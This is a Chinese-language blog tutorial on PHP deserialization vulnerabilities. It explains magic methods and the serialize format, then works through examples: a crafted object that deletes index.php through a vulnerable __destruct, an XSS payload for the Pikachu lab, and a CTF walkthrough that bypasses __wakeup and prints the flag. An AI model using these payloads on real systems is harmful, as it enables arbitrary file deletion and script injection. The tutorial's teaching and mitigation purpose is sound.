PHP反序列化漏洞详解（魔术方法）

文章目录

一、PHP面向对象编程
- public、protected、private
- 魔术方法（magic函数）
二、PHP序列化和反序列化
三、PHP反序列化漏洞原理
四、CTF例题
- PHP反序列化绕过__wakeup()

一、PHP面向对象编程

在面向对象的程序设计(Object-oriented programming，OOP)中，对象是一个由信息及对信息进行处理的描述所组成的整体，是对现实世界的抽象。类是一个共享相同结构和行为的对象的集合。每个类的定义都以关键字class开头，后面跟着类的名字。

创建一个PHP类：

<?php
class TestClass //定义一个类
{
//一个变量
public $variable = 'This is a string';
//一个方法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>

public、protected、private

PHP 对属性或方法的访问控制，是通过在前面添加关键字 public（公有），protected（受保护）或 private（私有）来实现的。
public（公有）：公有的类成员可以在任何地方被访问。
protected（受保护）：受保护的类成员则可以被其自身以及其子类和父类访问。
private（私有）：私有的类成员则只能被其定义所在的类访问。

注意：不同修饰符序列化后的值不一样

访问控制修饰符的不同，序列化后属性的长度和属性值会有所不同，如下所示：

public：属性被序列化的时候属性值会变成属性名
protected：属性被序列化的时候属性值会变成\x00*\x00属性名
private：属性被序列化的时候属性值会变成\x00类名\x00属性名
其中：\x00表示空字符，但是还是占用一个字符位置

魔术方法（magic函数）

PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods)
PHP官方——魔术方法
 PHP中16 个魔术方法详解

类可能会包含一些特殊的函数：magic函数，这些函数在某些情况下会自动调用。

serialize() 函数会检查类中是否存在一个魔术方法。如果存在，该方法会先被调用，然后才执行序列化操作。

__construct：构造函数，当一个对象创建时调用

__destruct：析构函数，当一个对象被销毁时调用

__toString：当一个对象被当作一个字符串时使用

__sleep：在对象序列化的时候调用

__wakeup：对象重新醒来，即由二进制串重新组成一个对象的时候（在一个对象被反序列化时调用）

从序列化到反序列化这几个函数的执行过程是：
__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

<?php
class TestClass
{
    //一个变量
    public $variable = 'This is a string';
    //一个方法
    public function PrintVariable()
    {
        echo $this->variable.'<br />';
    }
    //构造函数
    public function  __construct()
    {
        echo '__construct<br />';
    }
    //析构函数
    public function __destruct()
    {
        echo '__destruct<br />';
    }
    //当对象被当作一个字符串
    public function __toString()
    {
        return '__toString<br />';
    }
}
//创建一个对象
//__construct会被调用
$object = new TestClass();
//创建一个方法
//‘This is a string’将会被输出
$object->PrintVariable();
//对象被当作一个字符串
//toString会被调用
echo $object;
//php脚本要结束时，__destruct会被调用
?>

输出结果：

__construct
This is a string
__toString
__destruct

二、PHP序列化和反序列化

有时需要把一个对象在网络上传输，为了方便传输，可以把整个对象转化为二进制串，等到达另一端时，再还原为原来的对象，这个过程称之为串行化(也叫序列化)。
有两种情况必须把对象序列化：
把一个对象在网络中传输的时候
把对象写入文件或数据库的时候

序列化：把对象转化为二进制的字符串，使用serialize()函数
反序列化：把对象转化的二进制字符串再转化为对象，使用unserialize()函数

通过例子来看PHP序列化后的格式：

<?php
class User
{
    //类的数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    } // “.”表示字符串连接
}
//创建一个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'Hardworking666';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>

输出结果：

User Hardworking666 is 18 years old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}

下面的 O:4:“User”:2:{s:3:“age”;i:18;s:4:“name”;s:14:“Hardworking666”;} 就是对象user序列化后的形式。

“O”表示对象，“4”表示对象名长度为4，“User”为对象名，“2”表示有2个参数。
“{}”里面是参数的key和value，
“s”表示string对象，“3”表示长度，“age”则为key；“i”是interger（整数）对象，“18”是value，后面同理。

进行反序列化：

<?php
class User
{
    //类的数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
    }
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//输出数据
$usr->printdata();
?>

User Hardworking666 is 18 years old.

_sleep 方法在一个对象被序列化时调用，_wakeup方法在一个对象被反序列化时调用

<?php
class test
{
    public $variable = '变量反序列化后都要销毁'; //公共变量
    public $variable2 = 'OTHER';
    public function printvariable()
    {
        echo $this->variable.'<br />';
    }
    public function __construct()
    {
        echo '__construct'.'<br />';
    }
    public function __destruct()
    {
        echo '__destruct'.'<br />';
    }
    public function __wakeup()
    {
        echo '__wakeup'.'<br />';
    }
    public function __sleep()
    {
        echo '__sleep'.'<br />';
        return array('variable','variable2');
    }
}

//创建一个对象，回调用__construct
$object = new test();
//序列化一个对象，会调用__sleep
$serialized = serialize($object);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象，会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(变量反序列化后都要销毁)
$object2->printvariable();
//脚本结束，会调用__destruct
?>

__construct
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:33:"变量反序列化后都要销毁";s:9:"variable2";s:5:"OTHER";}
__wakeup
变量反序列化后都要销毁
__destruct
__destruct

从序列化到反序列化这几个函数的执行过程是：
__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()

三、PHP反序列化漏洞原理

序列化和反序列化本身没有问题，但是如果反序列化的内容是用户可以控制的，且后台不正当的使用了PHP中的魔法函数，就会导致安全问题。当传给unserialize()的参数可控时，可以通过传入一个精心构造的序列化字符串，从而控制对象内部的变量甚至是函数。

存在漏洞的思路：一个类用于临时将日志储存进某个文件，当__destruct被调用时，日志文件将会被删除：

//logdata.php
<?php
class logfile
{
    //log文件名
    public $filename = 'error.log';
    //一些用于储存日志的代码
    public function logdata($text)
    {
        echo 'log data:'.$text.'<br />';
        file_put_contents($this->filename,$text,FILE_APPEND);
    }
    //destrcuctor 删除日志文件
    public function __destruct()
    {
        echo '__destruct deletes '.$this->filename.'file.<br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }
}
?>

调用这个类：

<?php
include 'logdata.php'
class User
{
    //类数据
    public $age = 0;
    public $name = '';
    //输出数据
    public function printdata()
    {
        echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
    }
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
?>

代码$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的，那么可以构造输入，删除任意文件。

如构造输入删除目录下的index.php文件：

<?php
include 'logdata.php';
$object = new logfile();
$object->filename = 'index.php';
echo serialize($object).'<br />';
?>

上面展示了由于输入可控造成的__destruct函数删除任意文件，其实问题也可能存在于__wakeup、__sleep、__toString等其他magic函数。比如，某用户类定义了一个__toString，为了让应用程序能够将类作为一个字符串输出（echo $object），而且其他类也可能定义了一个类允许__toString读取某个文件。

例如，皮卡丘靶场PHP反序列化漏洞

$html=";
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>错误输出</p>";
    }else{
        $html.="<p>{$unser->test)</p>";
    }

为了执行<script>alert('xss')</script>，Payload:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

其他知识点：

unserialize漏洞依赖条件：
1、unserialize函数的参数可控
2、脚本中存在一个构造函数（__construct()）、析构函数（__destruct()）、__wakeup()函数中有向PHP文件中写数据的操作类
3、所写的内容需要有对象中的成员变量的值

防范方法：
1、严格控制unserialize函数的参数，坚持用户所输入的信息都是不可靠的原则
2、对于unserialize后的变量内容进行检查，以确定内容没有被污染

四、CTF例题

PHP反序列化绕过__wakeup()

攻防世界xctf web unserialize3

打开网址后的代码：

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

已知在使用 unserialize() 反序列化时会先调用 __wakeup()函数，

而本题的关键就是如何绕过 __wakeup()函数，就是 在反序列化的时候不调用它

当 序列化的字符串中的属性值个数 大于 属性个数 就会导致反序列化异常，从而绕过 __wakeup()

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的
这里没有特别对哪个字符串序列化，所以把xctf类实例化后，进行反序列化。

我们利用php中的new运算符，实例化类xctf。

new 是申请空间的操作符，一般用于类。
比如定义了一个 class a{public i=0;}
$c = new a(); 相当于定义了一个基于a类的对象，这时候 $c->i 就是0

构造序列化的代码在编辑器内执行：

<?php
class xctf{
public $flag = '111'; //public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
}//题目少了一个}，这里补上
$a=new xctf();
echo(serialize($a));
?>

运行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

序列化返回的字符串格式：

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}

O:表示序列化的是对象
<length>:表示序列化的类名称长度
<class name>：表示序列化的类的名称
<n>:表示被序列化的对象的属性个数
<field name 1>：属性名
<field value 1>：属性值

所以要修改属性值<n>，既把1改为2以上。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在url中输入：

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag：cyberpeace{d0e4287c414858ea80e166dbdb75519e}

posted @ 2022-02-06 18:51 Hardworking666 阅读(2044) 评论(0) 编辑收藏举报

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